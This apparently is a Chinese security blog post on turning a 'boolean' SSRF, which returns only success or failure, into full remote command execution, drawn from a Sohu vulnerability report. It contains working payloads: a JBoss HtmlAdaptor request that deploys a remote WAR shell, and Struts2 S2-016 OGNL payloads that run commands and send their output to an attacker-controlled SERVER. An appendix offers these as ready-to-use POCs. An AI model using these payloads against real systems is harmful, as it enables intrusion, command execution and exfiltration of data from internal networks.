什么是Bool型SSRF
Bool型SSRF:簡單來說就是僅返回True 或 False的SSRF. 就以筆者前兩天挖掘的一個SSRF為例, 只有服務(wù)器端正確響應(yīng)HTTP請求并且只有響應(yīng)碼為200的時候,返回Success,其余全部返回Failed. 這就是一個典型的Bool型SSRF.
SSRF利用的基本思路
SSRF利用的基本思路:內(nèi)網(wǎng)探測->應(yīng)用識別->攻擊Payload->Payload Result
內(nèi)網(wǎng)探測: 內(nèi)網(wǎng)主機(jī)信息收集
應(yīng)用識別: 主機(jī)應(yīng)用識別(可以通過Barner和應(yīng)用指紋進(jìn)行識別)
攻擊Payload: 根據(jù)應(yīng)用識別的應(yīng)用,加載不同的攻擊Payload(最常用莫屬于Struts2)
Payload Result: 返回相應(yīng)Payload的執(zhí)行信息
BOOL型SSRF與一般的SSRF的區(qū)別在步驟二應(yīng)用識別,步驟三攻擊Payload和步驟四Payload Result. 一般的SSRF在應(yīng)用識別階段返回的信息相對較多,比如Banner信息,HTTP Title信息,更有甚的會將整個HTTP的Reponse完全返回. 而Bool型SSRF的卻永遠(yuǎn)只有True or False. 因為沒有任何Response信息,所以對于攻擊Payload的選擇也是有很多限制的, 不能選擇需要和Response信息交互的Payload.
Bool型SSRF利用方法
1.應(yīng)用識別
{指紋1 + 指紋2 + 黑指紋}, 這里以JBOSS為例: { /jmx-console/ + /invoker/JMXInvokerServlet + /d2z341.d#211 } 指紋1 和 指紋2 為應(yīng)用識別指紋, 準(zhǔn)確率越高越好. 黑指紋其實就是不會匹配任何應(yīng)用的指紋,一般用較長的字符串代替即可. 分別用指紋1, 指紋2 和 黑指紋對內(nèi)網(wǎng)主機(jī)探測統(tǒng)計, 獲取三個主機(jī)列表:jmx-console.host(A) invoker.host(B) black.host(C).
Host = (A∩B) –(A∩B∩C) 即剔除jmx-console.host 和 invoker.host中存在于black.host的主機(jī), 然后對jmx-console和invoker.host的主機(jī)取交集.
2.攻擊Payload
針對不用的應(yīng)用需要加載不同的Payload, 但是大多數(shù)的攻擊都是需要和Payload Result進(jìn)行交互的. 這類Payload是沒有辦法用在此處的, 需要的是不需要和Payload Result進(jìn)行交互的Payload. 筆者可以想到的兩種應(yīng)用比較廣泛的Payload有JBOSS和Struts2漏洞.
JBOSS Payload:
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2F192.168.1.2%2Fzecmd.war
通過JBOSS HtmlAdaptor接口直接部署遠(yuǎn)程war包, 可以通過access.log去驗證war包是否成功部署.下面就是通過SSRF去執(zhí)行不同的命令.還有一種方式,可以通過服務(wù)器的 access.log日志獲取到遠(yuǎn)程服務(wù)器對應(yīng)的公網(wǎng)IP, 有時也會有一些意外驚喜.
Struts2 Payload:
/action?action:%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘command’})).start()}
Struts2漏洞的影響, 通過URL直接遠(yuǎn)程命令執(zhí)行,
3.Payload Result
獲取Payload Result是十分有必要的,這里的Payload Result和非Bool型SSRF的Result不是一個意思. 對于Bool型SSRF, 服務(wù)器端返回的數(shù)據(jù)永遠(yuǎn)只有True和False, 可以通過返回的True或者False來判斷Payload的執(zhí)行狀態(tài), 但是這樣的判斷標(biāo)準(zhǔn)是無法讓人信服的. 能否有一種方法能夠精確的判斷Payload的執(zhí)行狀態(tài),而且能夠返回Payload Result. 對于Struts2筆者找到了一種可利用的方法。
下面是S2-016的POC:
/action?action:%25{3*4}
/action?action?redirect:%25{3*4}
通過對連個POC的理解, 知道下面的POC中的redirect是實現(xiàn)URL跳轉(zhuǎn),通過URL跳轉(zhuǎn)來驗證S2-016漏洞.
當(dāng)然也可以通過“?redirect:http://www.baidu.com”來驗證. 那么是否可以通過”?redirect:http://SERVER/%25{3*4}” 將%25{3*4}的執(zhí)行結(jié)果作為SERVER的URL的一部分發(fā)送到遠(yuǎn)端服務(wù)器, 通過實驗證實了這樣的想法.
?redirect:%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘command’})).start()}
執(zhí)行結(jié)果如下:
特此說明一下,這里返回java.lang.ProcessImpl@xxxxxx表示命令執(zhí)行成功, 將命令執(zhí)行的結(jié)果通過redirect跳轉(zhuǎn)輸出到遠(yuǎn)程服務(wù)器.
?redirect:http//SERVER/%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘whoami’})).start()}
由服務(wù)器端Access日志可以看出,命令執(zhí)行成功
其實通過上面的這種方式,我們已經(jīng)完全能夠準(zhǔn)確的判斷Payload Result的執(zhí)行狀態(tài), 但是這不是我要的, 我想要Payload Result執(zhí)行結(jié)果. 帶回顯的POC:
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘whoami’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
將命令執(zhí)行結(jié)果Redirect到遠(yuǎn)程:
可以看到本地瀏覽器可以打印出結(jié)果,但是遠(yuǎn)程Access.log不會有任何日志. 對Java懂一點(diǎn)點(diǎn)的人都知道, 這里的POC的作用就是本地打印,所以肯定是不行的. 下一步就需要更改POC :
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘command’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d”http://SERVER/result%3d”.concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod(“GET”),%23http.connect(),%23http.getInputStream()}
SERVER是我們的HTTP服務(wù)器IP地址, 我們獲取命令執(zhí)行結(jié)果,然后把他作為一個URL參數(shù)發(fā)送到遠(yuǎn)程SERVER上, 所以我們可以在遠(yuǎn)程SERVER的access.log看到命令的執(zhí)行結(jié)果.
至此, 完成了從一個BOOL型的SSRF轉(zhuǎn)換為一個普通的SSRF,可以獲取到任何Payload的執(zhí)行結(jié)果, 我只能說這是一個質(zhì)的飛躍.
說明: 對于文中瀏覽器中執(zhí)行的返回信息,我們僅僅是在做測試,對于BOOL型SSRF這些信息對我們是不可見的, 我們能看到的僅僅是Server端的access.log日志.
Bool型SSRF的其他利用方式-反射性XSS也是一種可利用的思路,不過挖掘的難度相對較大
此文是對搜狐SSRF漏洞利用過程中的一些思考,實踐和總結(jié).
這可以說是我的SSRF處女洞, 和此文章關(guān)聯(lián)的漏洞”搜狐某云服務(wù)API接口導(dǎo)致SSRF/手工盲打到Struts2命令執(zhí)行”http://wooyun.org/bugs/wooyun-2015-0129588 , 因為抱著學(xué)習(xí)的態(tài)度, 漏洞報告寫的非常詳細(xì),而且有很多技巧在文章中沒有提及. 當(dāng)然也有很多YY的想法, 想拍磚的就來拍磚吧.
附錄
使用方式: 將SERVER替換為你的Web服務(wù)地址
POC-S2-016.SSRF版 :
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘command’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d”http://SERVER/result%3d”.concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod(“GET”),%23http.connect(),%23http.getInputStream()}
POC-S2-016命令回顯集成SSRF版:
redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘command’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23t%3d%23d.readLine(),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.setContentType(%27text/html%27),%23matt.getWriter().println(%23e),%23u%3d”http://SERVER/result%3d”.concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod(“GET”),%23http.connect(),%23http.getInputStream()}